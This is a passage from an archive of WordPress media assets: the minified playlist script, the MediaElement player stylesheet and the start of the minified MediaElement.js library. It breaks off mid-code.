1.5.7 1.5 1.5s-.7 1.5-1.5 1.5h-8.5c-.9 0-1.5-.7-1.5-1.5-.1-.9.6-1.5 1.5-1.5zm-5.1 5c.8 0 1.5.7 1.5 1.5s-.7 1.5-1.5 1.5-1.5-.7-1.5-1.5c0-.9.7-1.5 1.5-1.5zm5.1 0h8.5c.9 0 1.5.7 1.5 1.5s-.7 1.5-1.5 1.5h-8.5c-.9 0-1.5-.7-1.5-1.5-.1-.9.6-1.5 1.5-1.5zm-5.1 5c.8 0 1.5.7 1.5 1.5s-.7 1.5-1.5 1.5-1.5-.7-1.5-1.5c0-.9.7-1.5 1.5-1.5zm5.1 0h8.5c.9 0 1.5.7 1.5 1.5s-.7 1.5-1.5 1.5h-8.5c-.9 0-1.5-.7-1.5-1.5-.1-.9.6-1.5 1.5-1.5z"/></svg> ����������js/mediaelement/wp-playlist.min.js������������������������������������������������������������������0000644�����������������00000006547�14717703502�0013240 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������!function(r,e,i){"use strict";window.wp=window.wp||{};var t=i.View.extend({initialize:function(t){this.index=0,this.settings={},this.data=t.metadata||r.parseJSON(this.$("script.wp-playlist-script").html()),this.playerNode=this.$(this.data.type),this.tracks=new i.Collection(this.data.tracks),this.current=this.tracks.first(),"audio"===this.data.type&&(this.currentTemplate=wp.template("wp-playlist-current-item"),this.currentNode=this.$(".wp-playlist-current-item")),this.renderCurrent(),this.data.tracklist&&(this.itemTemplate=wp.template("wp-playlist-item"),this.playingClass="wp-playlist-playing",this.renderTracks()),this.playerNode.attr("src",this.current.get("src")),e.bindAll(this,"bindPlayer","bindResetPlayer","setPlayer","ended","clickTrack"),e.isUndefined(window._wpmejsSettings)||(this.settings=e.clone(_wpmejsSettings)),this.settings.success=this.bindPlayer,this.setPlayer()},bindPlayer:function(t){this.mejs=t,this.mejs.addEventListener("ended",this.ended)},bindResetPlayer:function(t){this.bindPlayer(t),this.playCurrentSrc()},setPlayer:function(t){this.player&&(this.player.pause(),this.player.remove(),this.playerNode=this.$(this.data.type)),t&&(this.playerNode.attr("src",this.current.get("src")),this.settings.success=this.bindResetPlayer),this.player=new MediaElementPlayer(this.playerNode.get(0),this.settings)},playCurrentSrc:function(){this.renderCurrent(),this.mejs.setSrc(this.playerNode.attr("src")),this.mejs.load(),this.mejs.play()},renderCurrent:function(){var t;"video"===this.data.type?(this.data.images&&this.current.get("image")&&-1===this.current.get("image").src.indexOf("wp-includes/images/media/video.png")&&this.playerNode.attr("poster",this.current.get("image").src),t=this.current.get("dimensions").resized,this.playerNode.attr(t)):(this.data.images||this.current.set("image",!1),this.currentNode.html(this.currentTemplate(this.current.toJSON())))},renderTracks:function(){var e=this,i=1,s=r('<div class="wp-playlist-tracks"></div>');this.tracks.each(function(t){e.data.images||t.set("image",!1),t.set("artists",e.data.artists),t.set("index",!!e.data.tracknumbers&&i),s.append(e.itemTemplate(t.toJSON())),i+=1}),this.$el.append(s),this.$(".wp-playlist-item").eq(0).addClass(this.playingClass)},events:{"click .wp-playlist-item":"clickTrack","click .wp-playlist-next":"next","click .wp-playlist-prev":"prev"},clickTrack:function(t){t.preventDefault(),this.index=this.$(".wp-playlist-item").index(t.currentTarget),this.setCurrent()},ended:function(){this.index+1<this.tracks.length?this.next():(this.index=0,this.setCurrent())},next:function(){this.index=this.index+1>=this.tracks.length?0:this.index+1,this.setCurrent()},prev:function(){this.index=this.index-1<0?this.tracks.length-1:this.index-1,this.setCurrent()},loadCurrent:function(){var t=this.playerNode.attr("src")&&this.playerNode.attr("src").split(".").pop(),e=this.current.get("src").split(".").pop();this.mejs&&this.mejs.pause(),t!==e?this.setPlayer(!0):(this.playerNode.attr("src",this.current.get("src")),this.playCurrentSrc())},setCurrent:function(){this.current=this.tracks.at(this.index),this.data.tracklist&&this.$(".wp-playlist-item").removeClass(this.playingClass).eq(this.index).addClass(this.playingClass),this.loadCurrent()}});function s(){r(".wp-playlist:not(:has(.mejs-container))").each(function(){new t({el:this})})}window.wp.playlist={initialize:s},r(document).ready(s),window.WPPlaylistView=t}(jQuery,_,Backbone);���������������������������������������������������������������������������������������������������������������������������������������������������������js/mediaelement/mediaelementplayer-legacy.min.css���������������������������������������������������0000644�����������������00000025770�14717703502�0016236 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������.mejs-offscreen{border:0;clip:rect(1px,1px,1px,1px);-webkit-clip-path:inset(50%);clip-path:inset(50%);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px;word-wrap:normal}.mejs-container{background:#000;font-family:Helvetica,Arial,serif;position:relative;text-align:left;text-indent:0;vertical-align:top}.mejs-container,.mejs-container *{box-sizing:border-box}.mejs-container video::-webkit-media-controls,.mejs-container video::-webkit-media-controls-panel,.mejs-container video::-webkit-media-controls-panel-container,.mejs-container video::-webkit-media-controls-start-playback-button{-webkit-appearance:none;display:none!important}.mejs-fill-container,.mejs-fill-container .mejs-container{height:100%;width:100%}.mejs-fill-container{background:transparent;margin:0 auto;overflow:hidden;position:relative}.mejs-container:focus{outline:none}.mejs-iframe-overlay{height:100%;position:absolute;width:100%}.mejs-embed,.mejs-embed body{background:#000;height:100%;margin:0;overflow:hidden;padding:0;width:100%}.mejs-fullscreen{overflow:hidden!important}.mejs-container-fullscreen{bottom:0;left:0;overflow:hidden;position:fixed;right:0;top:0;z-index:1000}.mejs-container-fullscreen .mejs-mediaelement,.mejs-container-fullscreen video{height:100%!important;width:100%!important}.mejs-background,.mejs-mediaelement{left:0;position:absolute;top:0}.mejs-mediaelement{height:100%;width:100%;z-index:0}.mejs-poster{background-position:50% 50%;background-repeat:no-repeat;background-size:cover;left:0;position:absolute;top:0;z-index:1}:root .mejs-poster-img{display:none}.mejs-poster-img{border:0;padding:0}.mejs-overlay{-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:center;-webkit-justify-content:center;-ms-flex-pack:center;justify-content:center;left:0;position:absolute;top:0}.mejs-layer{z-index:1}.mejs-overlay-play{cursor:pointer}.mejs-overlay-button{background:url(mejs-controls.svg) no-repeat;background-position:0 -39px;height:80px;width:80px}.mejs-overlay:hover>.mejs-overlay-button{background-position:-80px -39px}.mejs-overlay-loading{height:80px;width:80px}.mejs-overlay-loading-bg-img{-webkit-animation:a 1s linear infinite;animation:a 1s linear infinite;background:transparent url(mejs-controls.svg) -160px -40px no-repeat;display:block;height:80px;width:80px;z-index:1}@-webkit-keyframes a{to{-webkit-transform:rotate(1turn);transform:rotate(1turn)}}@keyframes a{to{-webkit-transform:rotate(1turn);transform:rotate(1turn)}}.mejs-controls{bottom:0;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;height:40px;left:0;list-style-type:none;margin:0;padding:0 10px;position:absolute;width:100%;z-index:3}.mejs-controls:not([style*="display: none"]){background:rgba(255,0,0,.7);background:-webkit-linear-gradient(transparent,rgba(0,0,0,.35));background:linear-gradient(transparent,rgba(0,0,0,.35))}.mejs-button,.mejs-time,.mejs-time-rail{font-size:10px;height:40px;line-height:10px;margin:0;width:32px}.mejs-button>button{background:transparent url(mejs-controls.svg);border:0;cursor:pointer;display:block;font-size:0;height:20px;line-height:0;margin:10px 6px;overflow:hidden;padding:0;position:absolute;text-decoration:none;width:20px}.mejs-button>button:focus{outline:1px dotted #999}.mejs-container-keyboard-inactive [role=slider],.mejs-container-keyboard-inactive [role=slider]:focus,.mejs-container-keyboard-inactive a,.mejs-container-keyboard-inactive a:focus,.mejs-container-keyboard-inactive button,.mejs-container-keyboard-inactive button:focus{outline:0}.mejs-time{box-sizing:content-box;color:#fff;font-size:11px;font-weight:700;height:24px;overflow:hidden;padding:16px 6px 0;text-align:center;width:auto}.mejs-play>button{background-position:0 0}.mejs-pause>button{background-position:-20px 0}.mejs-replay>button{background-position:-160px 0}.mejs-time-rail{direction:ltr;-webkit-box-flex:1;-webkit-flex-grow:1;-ms-flex-positive:1;flex-grow:1;height:40px;margin:0 10px;padding-top:10px;position:relative}.mejs-time-buffering,.mejs-time-current,.mejs-time-float,.mejs-time-float-corner,.mejs-time-float-current,.mejs-time-hovered,.mejs-time-loaded,.mejs-time-marker,.mejs-time-total{border-radius:2px;cursor:pointer;display:block;height:10px;position:absolute}.mejs-time-total{background:hsla(0,0%,100%,.3);margin:5px 0 0;width:100%}.mejs-time-buffering{-webkit-animation:b 2s linear infinite;animation:b 2s linear infinite;background:-webkit-linear-gradient(135deg,hsla(0,0%,100%,.4) 25%,transparent 0,transparent 50%,hsla(0,0%,100%,.4) 0,hsla(0,0%,100%,.4) 75%,transparent 0,transparent);background:linear-gradient(-45deg,hsla(0,0%,100%,.4) 25%,transparent 0,transparent 50%,hsla(0,0%,100%,.4) 0,hsla(0,0%,100%,.4) 75%,transparent 0,transparent);background-size:15px 15px;width:100%}@-webkit-keyframes b{0%{background-position:0 0}to{background-position:30px 0}}@keyframes b{0%{background-position:0 0}to{background-position:30px 0}}.mejs-time-loaded{background:hsla(0,0%,100%,.3)}.mejs-time-current,.mejs-time-handle-content{background:hsla(0,0%,100%,.9)}.mejs-time-hovered{background:hsla(0,0%,100%,.5);z-index:10}.mejs-time-hovered.negative{background:rgba(0,0,0,.2)}.mejs-time-buffering,.mejs-time-current,.mejs-time-hovered,.mejs-time-loaded{left:0;-webkit-transform:scaleX(0);-ms-transform:scaleX(0);transform:scaleX(0);-webkit-transform-origin:0 0;-ms-transform-origin:0 0;transform-origin:0 0;-webkit-transition:all .15s ease-in;transition:all .15s ease-in;width:100%}.mejs-time-buffering{-webkit-transform:scaleX(1);-ms-transform:scaleX(1);transform:scaleX(1)}.mejs-time-hovered{-webkit-transition:height .1s cubic-bezier(.44,0,1,1);transition:height .1s cubic-bezier(.44,0,1,1)}.mejs-time-hovered.no-hover{-webkit-transform:scaleX(0)!important;-ms-transform:scaleX(0)!important;transform:scaleX(0)!important}.mejs-time-handle,.mejs-time-handle-content{border:4px solid transparent;cursor:pointer;left:0;position:absolute;-webkit-transform:translateX(0);-ms-transform:translateX(0);transform:translateX(0);z-index:11}.mejs-time-handle-content{border:4px solid hsla(0,0%,100%,.9);border-radius:50%;height:10px;left:-7px;top:-4px;-webkit-transform:scale(0);-ms-transform:scale(0);transform:scale(0);width:10px}.mejs-time-rail .mejs-time-handle-content:active,.mejs-time-rail .mejs-time-handle-content:focus,.mejs-time-rail:hover .mejs-time-handle-content{-webkit-transform:scale(1);-ms-transform:scale(1);transform:scale(1)}.mejs-time-float{background:#eee;border:1px solid #333;bottom:100%;color:#111;display:none;height:17px;margin-bottom:9px;position:absolute;text-align:center;-webkit-transform:translateX(-50%);-ms-transform:translateX(-50%);transform:translateX(-50%);width:36px}.mejs-time-float-current{display:block;left:0;margin:2px;text-align:center;width:30px}.mejs-time-float-corner{border:5px solid #eee;border-color:#eee transparent transparent;border-radius:0;display:block;height:0;left:50%;line-height:0;position:absolute;top:100%;-webkit-transform:translateX(-50%);-ms-transform:translateX(-50%);transform:translateX(-50%);width:0}.mejs-long-video .mejs-time-float{margin-left:-23px;width:64px}.mejs-long-video .mejs-time-float-current{width:60px}.mejs-broadcast{color:#fff;height:10px;position:absolute;top:15px;width:100%}.mejs-fullscreen-button>button{background-position:-80px 0}.mejs-unfullscreen>button{background-position:-100px 0}.mejs-mute>button{background-position:-60px 0}.mejs-unmute>button{background-position:-40px 0}.mejs-volume-button{position:relative}.mejs-volume-button>.mejs-volume-slider{-webkit-backface-visibility:hidden;background:rgba(50,50,50,.7);border-radius:0;bottom:100%;display:none;height:115px;left:50%;margin:0;position:absolute;-webkit-transform:translateX(-50%);-ms-transform:translateX(-50%);transform:translateX(-50%);width:25px;z-index:1}.mejs-volume-button:hover{border-radius:0 0 4px 4px}.mejs-volume-total{background:hsla(0,0%,100%,.5);height:100px;left:50%;margin:0;position:absolute;top:8px;-webkit-transform:translateX(-50%);-ms-transform:translateX(-50%);transform:translateX(-50%);width:2px}.mejs-volume-current{left:0;margin:0;width:100%}.mejs-volume-current,.mejs-volume-handle{background:hsla(0,0%,100%,.9);position:absolute}.mejs-volume-handle{border-radius:1px;cursor:ns-resize;height:6px;left:50%;-webkit-transform:translateX(-50%);-ms-transform:translateX(-50%);transform:translateX(-50%);width:16px}.mejs-horizontal-volume-slider{display:block;height:36px;position:relative;vertical-align:middle;width:56px}.mejs-horizontal-volume-total{background:rgba(50,50,50,.8);height:8px;top:16px;width:50px}.mejs-horizontal-volume-current,.mejs-horizontal-volume-total{border-radius:2px;font-size:1px;left:0;margin:0;padding:0;position:absolute}.mejs-horizontal-volume-current{background:hsla(0,0%,100%,.8);height:100%;top:0;width:100%}.mejs-horizontal-volume-handle{display:none}.mejs-captions-button,.mejs-chapters-button{position:relative}.mejs-captions-button>button{background-position:-140px 0}.mejs-chapters-button>button{background-position:-180px 0}.mejs-captions-button>.mejs-captions-selector,.mejs-chapters-button>.mejs-chapters-selector{background:rgba(50,50,50,.7);border:1px solid transparent;border-radius:0;bottom:100%;margin-right:-43px;overflow:hidden;padding:0;position:absolute;right:50%;visibility:visible;width:86px}.mejs-chapters-button>.mejs-chapters-selector{margin-right:-55px;width:110px}.mejs-captions-selector-list,.mejs-chapters-selector-list{list-style-type:none!important;margin:0;overflow:hidden;padding:0}.mejs-captions-selector-list-item,.mejs-chapters-selector-list-item{color:#fff;cursor:pointer;display:block;list-style-type:none!important;margin:0 0 6px;overflow:hidden;padding:0}.mejs-captions-selector-list-item:hover,.mejs-chapters-selector-list-item:hover{background-color:#c8c8c8!important;background-color:hsla(0,0%,100%,.4)!important}.mejs-captions-selector-input,.mejs-chapters-selector-input{clear:both;float:left;left:-1000px;margin:3px 3px 0 5px;position:absolute}.mejs-captions-selector-label,.mejs-chapters-selector-label{cursor:pointer;float:left;font-size:10px;line-height:15px;padding:4px 10px 0;width:100%}.mejs-captions-selected,.mejs-chapters-selected{color:#21f8f8}.mejs-captions-translations{font-size:10px;margin:0 0 5px}.mejs-captions-layer{bottom:0;color:#fff;font-size:16px;left:0;line-height:20px;position:absolute;text-align:center}.mejs-captions-layer a{color:#fff;text-decoration:underline}.mejs-captions-layer[lang=ar]{font-size:20px;font-weight:400}.mejs-captions-position{bottom:15px;left:0;position:absolute;width:100%}.mejs-captions-position-hover{bottom:35px}.mejs-captions-text,.mejs-captions-text *{background:hsla(0,0%,8%,.5);box-shadow:5px 0 0 hsla(0,0%,8%,.5),-5px 0 0 hsla(0,0%,8%,.5);padding:0;white-space:pre-wrap}.mejs-container.mejs-hide-cues video::-webkit-media-text-track-container{display:none}.mejs-overlay-error{position:relative}.mejs-overlay-error>img{left:0;max-width:100%;position:absolute;top:0;z-index:-1}.mejs-cannotplay,.mejs-cannotplay a{color:#fff;font-size:.8em}.mejs-cannotplay{position:relative}.mejs-cannotplay a,.mejs-cannotplay p{display:inline-block;padding:0 15px;width:100%}��������js/mediaelement/mediaelement.min.js�����������������������������������������������������������������0000644�����������������00000205141�14717703502�0013373 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/*! * MediaElement.js * http://www.mediaelementjs.com/ * * Wrapper that mimics native HTML5 MediaElement (audio and video) * using a variety of technologies (pure JavaScript, Flash, iframe) * * Copyright 2010-2017, John Dyer (http://j.hn/) * License: MIT * */ !function i(o,l,s){function d(n,e){if(!l[n]){if(!o[n]){var t="function"==typeof require&&require;if(!e&&t)return t(n,!0);if(u)return u(n,!0);var r=new Error("Cannot find module '"+n+"'");throw r.code="MODULE_NOT_FOUND",r}var a=l[n]={exports:{}};o[n][0].call(a.exports,function(e){var t=o[n][1][e];return d(t||e)},a,a.exports,i,o,l,s)}return l[n].exports}for(var u="function"==typeof require&&require,e=0;e<s.length;e++)d(s[e]);return d}({1:[function(e,t,n){},{}],2:[function(a,i,e){(function(e){var t,n=void 0!==e?e:"undefined"!=typeof window?window:{},r=a(1);"undefined"!=typeof document?t=document:(t=n["__GLOBAL_DOCUMENT_CACHE@4"])||(t=n["__GLOBAL_DOCUMENT_CACHE@4"]=r),i.exports=t}).call(this,"undefined"!=typeof global?global:"undefined"!=typeof self?self:"undefined"!=typeof window?window:{})},{1:1}],3:[function(e,n,t){(function(e){var t;t="undefined"!=typeof window?window:void 0!==e?e:"undefined"!=typeof self?self:{},n.exports=t}).call(this,"undefined"!=typeof global?global:"undefined"!=typeof self?self:"undefined"!=typeof window?window:{})},{}],4:[function(e,n,t){!function(e){var t=setTimeout;function r(){}function i(e){if("object"!=typeof this)throw new TypeError("Promises must be constructed via new");if("function"!=typeof e)throw new TypeError("not a function");this._state=0,this._handled=!1,this._value=void 0,this._deferreds=[],d(e,this)}function a(n,r){for(;3===n._state;)n=n._value;0!==n._state?(n._handled=!0,i._immediateFn(function(){var e=1===n._state?r.onFulfilled:r.onRejected;if(null!==e){var t;try{t=e(n._value)}catch(e){return void l(r.promise,e)}o(r.promise,t)}else(1===n._state?o:l)(r.promise,n._value)})):n._deferreds.push(r)}function o(t,e){try{if(e===t)throw new TypeError("A promise cannot be resolved with itself.");if(e&&("object"==typeof e||"function"==typeof e)){var n=e.then;if(e instanceof i)return t._state=3,t._value=e,void s(t);if("function"==typeof n)return void d((r=n,a=e,function(){r.apply(a,arguments)}),t)}t._state=1,t._value=e,s(t)}catch(e){l(t,e)}var r,a}function l(e,t){e._state=2,e._value=t,s(e)}function s(e){2===e._state&&0===e._deferreds.length&&i._immediateFn(function(){e._handled||i._unhandledRejectionFn(e._value)});for(var t=0,n=e._deferreds.length;t<n;t++)a(e,e._deferreds[t]);e._deferreds=null}function d(e,t){var n=!1;try{e(function(e){n||(n=!0,o(t,e))},function(e){n||(n=!0,l(t,e))})}catch(e){if(n)return;n=!0,l(t,e)}}i.prototype.catch=function(e){return this.then(null,e)},i.prototype.then=function(e,t){var n=new this.constructor(r);return a(this,new function(e,t,n){this.onFulfilled="function"==typeof e?e:null,this.onRejected="function"==typeof t?t:null,this.promise=n}(e,t,n)),n},i.all=function(e){var l=Array.prototype.slice.call(e);return new i(function(r,a){if(0===l.length)return r([]);var i=l.length;function o(t,e){try{if(e&&("object"==typeof e||"function"==typeof e)){var n=e.then;if("function"==typeof n)return void n.call(e,function(e){o(t,e)},a)}l[t]=e,0==--i&&r(l)}catch(e){a(e)}}for(var e=0;e<l.length;e++)o(e,l[e])})},i.resolve=function(t){return t&&"object"==typeof t&&t.constructor===i?t:new i(function(e){e(t)})},i.reject=function(n){return new i(function(e,t){t(n)})},i.race=function(a){return new i(function(e,t){for(var n=0,r=a.length;n<r;n++)a[n].then(e,t)})},i._immediateFn="function"==typeof setImmediate&&function(e){setImmediate(e)}||function(e){t(e,0)},i._unhandledRejectionFn=function(e){"undefined"!=typeof console&&console&&console.warn("Possible Unhandled Promise Rejection:",e)},i._setImmediateFn=function(e){i._immediateFn=e},i._setUnhandledRejectionFn=function(e){i._unhandledRejectionFn=e},void 0!==n&&n.exports?n.exports=i:e.Promise||(e.Promise=i)}(this)},{}],5:[function(e,t,n){"use strict";Object.defineProperty(n,"__esModule",{value:!0});var r,o="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e},a=e(7),i=(r=a)&&r.__esModule?r:{default:r},l=e(9),s=e(18);var d={lang:"en",en:l.EN,language:function(){for(var e=arguments.length,t=Array(e),n=0;n<e;n++)t[n]=arguments[n];if(null!=t&&t.length){if("string"!=typeof t[0])throw new TypeError("Language code must be a string value");if(!/^[a-z]{2,3}((\-|_)[a-z]{2})?$/i.test(t[0]))throw new TypeError("Language code must have format 2-3 letters and. optionally, hyphen, underscore followed by 2 more letters");d.lang=t[0],void 0===d[t[0]]?(t[1]=null!==t[1]&&void 0!==t[1]&&"object"===o(t[1])?t[1]:{},d[t[0]]=(0,s.isObjectEmpty)(t[1])?l.EN:t[1]):null!==t[1]&&void 0!==t[1]&&"object"===o(t[1])&&(d[t[0]]=t[1])}return d.lang},t:function(e){var t=1<arguments.length&&void 0!==arguments[1]?arguments[1]:null;if("string"==typeof e&&e.length){var n=void 0,r=void 0,a=d.language(),i=function(e,t,n){return"object"!==(void 0===e?"undefined":o(e))||"number"!=typeof t||"number"!=typeof n?e:[function(){return arguments.length<=1?void 0:arguments[1]},function(){return 1===(arguments.length<=0?void 0:arguments[0])?arguments.length<=1?void 0:arguments[1]:arguments.length<=2?void 0:arguments[2]},function(){return 0===(arguments.length<=0?void 0:arguments[0])||1===(arguments.length<=0?void 0:arguments[0])?arguments.length<=1?void 0:arguments[1]:arguments.length<=2?void 0:arguments[2]},function(){return(arguments.length<=0?void 0:arguments[0])%10==1&&(arguments.length<=0?void 0:arguments[0])%100!=11?arguments.length<=1?void 0:arguments[1]:0!==(arguments.length<=0?void 0:arguments[0])?arguments.length<=2?void 0:arguments[2]:arguments.length<=3?void 0:arguments[3]},function(){return 1===(arguments.length<=0?void 0:arguments[0])||11===(arguments.length<=0?void 0:arguments[0])?arguments.length<=1?void 0:arguments[1]:2===(arguments.length<=0?void 0:arguments[0])||12===(arguments.length<=0?void 0:arguments[0])?arguments.length<=2?void 0:arguments[2]:2<(arguments.length<=0?void 0:arguments[0])&&(arguments.length<=0?void 0:arguments[0])<20?arguments.length<=3?void 0:arguments[3]:arguments.length<=4?void 0:arguments[4]},function(){return 1===(arguments.length<=0?void 0:arguments[0])?arguments.length<=1?void 0:arguments[1]:0===(arguments.length<=0?void 0:arguments[0])||0<(arguments.length<=0?void 0:arguments[0])%100&&(arguments.length<=0?void 0:arguments[0])%100<20?arguments.length<=2?void 0:arguments[2]:arguments.length<=3?void 0:arguments[3]},function(){return(arguments.length<=0?void 0:arguments[0])%10==1&&(arguments.length<=0?void 0:arguments[0])%100!=11?arguments.length<=1?void 0:arguments[1]:2<=(arguments.length<=0?void 0:arguments[0])%10&&((arguments.length<=0?void 0:arguments[0])%100<10||20<=(arguments.length<=0?void 0:arguments[0])%100)?arguments.length<=2?void 0:arguments[2]:[3]},function(){return(arguments.length<=0?void 0:arguments[0])%10==1&&(arguments.length<=0?void 0:arguments[0])%100!=11?arguments.length<=1?void 0:arguments[1]:2<=(arguments.length<=0?void 0:arguments[0])%10&&(arguments.length<=0?void 0:arguments[0])%10<=4&&((arguments.length<=0?void 0:arguments[0])%100<10||20<=(arguments.length<=0?void 0:arguments[0])%100)?arguments.length<=2?void 0:arguments[2]:arguments.length<=3?void 0:arguments[3]},function(){return 1===(arguments.length<=0?void 0:arguments[0])?arguments.length<=1?void 0:arguments[1]:2<=(arguments.length<=0?void 0:arguments[0])&&(arguments.length<=0?void 0:arguments[0])<=4?arguments.length<=2?void 0:arguments[2]:arguments.length<=3?void 0:arguments[3]},function(){return 1===(arguments.length<=0?void 0:arguments[0])?arguments.length<=1?void 0:arguments[1]:2<=(arguments.length<=0?void 0:arguments[0])%10&&(arguments.length<=0?void 0:arguments[0])%10<=4&&((arguments.length<=0?void 0:arguments[0])%100<10||20<=(arguments.length<=0?void 0:arguments[0])%100)?arguments.length<=2?void 0:arguments[2]:arguments.length<=3?void 0:arguments[3]},function(){return(arguments.length<=0?void 0:arguments[0])%100==1?arguments.length<=2?void 0:arguments[2]:(arguments.length<=0?void 0:arguments[0])%100==2?arguments.length<=3?void 0:arguments[3]:(arguments.length<=0?void 0:arguments[0])%100==3||(arguments.length<=0?void 0:arguments[0])%100==4?arguments.length<=4?void 0:arguments[4]:arguments.length<=1?void 0:arguments[1]},function(){return 1===(arguments.length<=0?void 0:arguments[0])?arguments.length<=1?void 0:arguments[1]:2===(arguments.length<=0?void 0:arguments[0])?arguments.length<=2?void 0:arguments[2]:2<(arguments.length<=0?void 0:arguments[0])&&(arguments.length<=0?void 0:arguments[0])<7?arguments.length<=3?void 0:arguments[3]:6<(arguments.length<=0?void 0:arguments[0])&&(arguments.length<=0?void 0:arguments[0])<11?arguments.length<=4?void 0:arguments[4]:arguments.length<=5?void 0:arguments[5]},function(){return 0===(arguments.length<=0?void 0:arguments[0])?arguments.length<=1?void 0:arguments[1]:1===(arguments.length<=0?void 0:arguments[0])?arguments.length<=2?void 0:arguments[2]:2===(arguments.length<=0?void 0:arguments[0])?arguments.length<=3?void 0:arguments[3]:3<=(arguments.length<=0?void 0:arguments[0])%100&&(arguments.length<=0?void 0:arguments[0])%100<=10?arguments.length<=4?void 0:arguments[4]:11<=(arguments.length<=0?void 0:arguments[0])%100?arguments.length<=5?void 0:arguments[5]:arguments.length<=6?void 0:arguments[6]},function(){return 1===(arguments.length<=0?void 0:arguments[0])?arguments.length<=1?void 0:arguments[1]:0===(arguments.length<=0?void 0:arguments[0])||1<(arguments.length<=0?void 0:arguments[0])%100&&(arguments.length<=0?void 0:arguments[0])%100<11?arguments.length<=2?void 0:arguments[2]:10<(arguments.length<=0?void 0:arguments[0])%100&&(arguments.length<=0?void 0:arguments[0])%100<20?arguments.length<=3?void 0:arguments[3]:arguments.length<=4?void 0:arguments[4]},function(){return(arguments.length<=0?void 0:arguments[0])%10==1?arguments.length<=1?void 0:arguments[1]:(arguments.length<=0?void 0:arguments[0])%10==2?arguments.length<=2?void 0:arguments[2]:arguments.length<=3?void 0:arguments[3]},function(){return 11!==(arguments.length<=0?void 0:arguments[0])&&(arguments.length<=0?void 0:arguments[0])%10==1?arguments.length<=1?void 0:arguments[1]:arguments.length<=2?void 0:arguments[2]},function(){return 1===(arguments.length<=0?void 0:arguments[0])?arguments.length<=1?void 0:arguments[1]:2<=(arguments.length<=0?void 0:arguments[0])%10&&(arguments.length<=0?void 0:arguments[0])%10<=4&&((arguments.length<=0?void 0:arguments[0])%100<10||20<=(arguments.length<=0?void 0:arguments[0])%100)?arguments.length<=2?void 0:arguments[2]:arguments.length<=3?void 0:arguments[3]},function(){return 1===(arguments.length<=0?void 0:arguments[0])?arguments.length<=1?void 0:arguments[1]:2===(arguments.length<=0?void 0:arguments[0])?arguments.length<=2?void 0:arguments[2]:8!==(arguments.length<=0?void 0:arguments[0])&&11!==(arguments.length<=0?void 0:arguments[0])?arguments.length<=3?void 0:arguments[3]:arguments.length<=4?void 0:arguments[4]},function(){return 0===(arguments.length<=0?void 0:arguments[0])?arguments.length<=1?void 0:arguments[1]:arguments.length<=2?void 0:arguments[2]},function(){return 1===(arguments.length<=0?void 0:arguments[0])?arguments.length<=1?void 0:arguments[1]:2===(arguments.length<=0?void 0:arguments[0])?arguments.length<=2?void 0:arguments[2]:3===(arguments.length<=0?void 0:arguments[0])?arguments.length<=3?void 0:arguments[3]:arguments.length<=4?void 0:arguments[4]},function(){return 0===(arguments.length<=0?void 0:arguments[0])?arguments.length<=1?void 0:arguments[1]:1===(arguments.length<=0?void 0:arguments[0])?arguments.length<=2?void 0:arguments[2]:arguments.length<=3?void 0:arguments[3]}][n].apply(null,[t].concat(e))};return void 0!==d[a]&&(n=d[a][e],null!==t&&"number"==typeof t&&(r=d[a]["mejs.plural-form"],n=i.apply(null,[n,t,r]))),!n&&d.en&&(n=d.en[e],null!==t&&"number"==typeof t&&(r=d.en["mejs.plural-form"],n=i.apply(null,[n,t,r]))),n=n||e,null!==t&&"number"==typeof t&&(n=n.replace("%1",t)),(0,s.escapeHTML)(n)}return e}};i.default.i18n=d,"undefined"!=typeof mejsL10n&&i.default.i18n.language(mejsL10n.language,mejsL10n.strings),n.default=d},{18:18,7:7,9:9}],6:[function(e,t,n){"use strict";Object.defineProperty(n,"__esModule",{value:!0});var L="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e},O=r(e(3)),C=r(e(2)),I=r(e(7)),k=e(18),U=e(19),M=e(8),R=e(16);function r(e){return e&&e.__esModule?e:{default:e}}var a=function e(t,n,r){var c=this;!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,e);var f=this;r=Array.isArray(r)?r:null,f.defaults={renderers:[],fakeNodeName:"mediaelementwrapper",pluginPath:"build/",shimScriptAccess:"sameDomain"},n=Object.assign(f.defaults,n),f.mediaElement=C.default.createElement(n.fakeNodeName);var a=t,i=!1;if("string"==typeof t?f.mediaElement.originalNode=C.default.getElementById(t):a=(f.mediaElement.originalNode=t).id,void 0===f.mediaElement.originalNode||null===f.mediaElement.originalNode)return null;f.mediaElement.options=n,a=a||"mejs_"+Math.random().toString().slice(2),f.mediaElement.originalNode.setAttribute("id",a+"_from_mejs");var o=f.mediaElement.originalNode.tagName.toLowerCase();-1<["video","audio"].indexOf(o)&&!f.mediaElement.originalNode.getAttribute("preload")&&f.mediaElement.originalNode.setAttribute("preload","none"),f.mediaElement.originalNode.parentNode.insertBefore(f.mediaElement,f.mediaElement.originalNode),f.mediaElement.appendChild(f.mediaElement.originalNode);var l=function(t,e){if("https:"===O.default.location.protocol&&0===t.indexOf("http:")&&R.IS_IOS&&-1<I.default.html5media.mediaTypes.indexOf(e)){var n=new XMLHttpRequest;n.onreadystatechange=function(){if(4===this.readyState&&200===this.status){var e=(O.default.URL||O.default.webkitURL).createObjectURL(this.response);return f.mediaElement.originalNode.setAttribute("src",e),e}return t},n.open("GET",t),n.responseType="blob",n.send()}return t},s=void 0;if(null!==r)s=r;else if(null!==f.mediaElement.originalNode)switch(s=[],f.mediaElement.originalNode.nodeName.toLowerCase()){case"iframe":s.push({type:"",src:f.mediaElement.originalNode.getAttribute("src")});break;case"audio":case"video":var 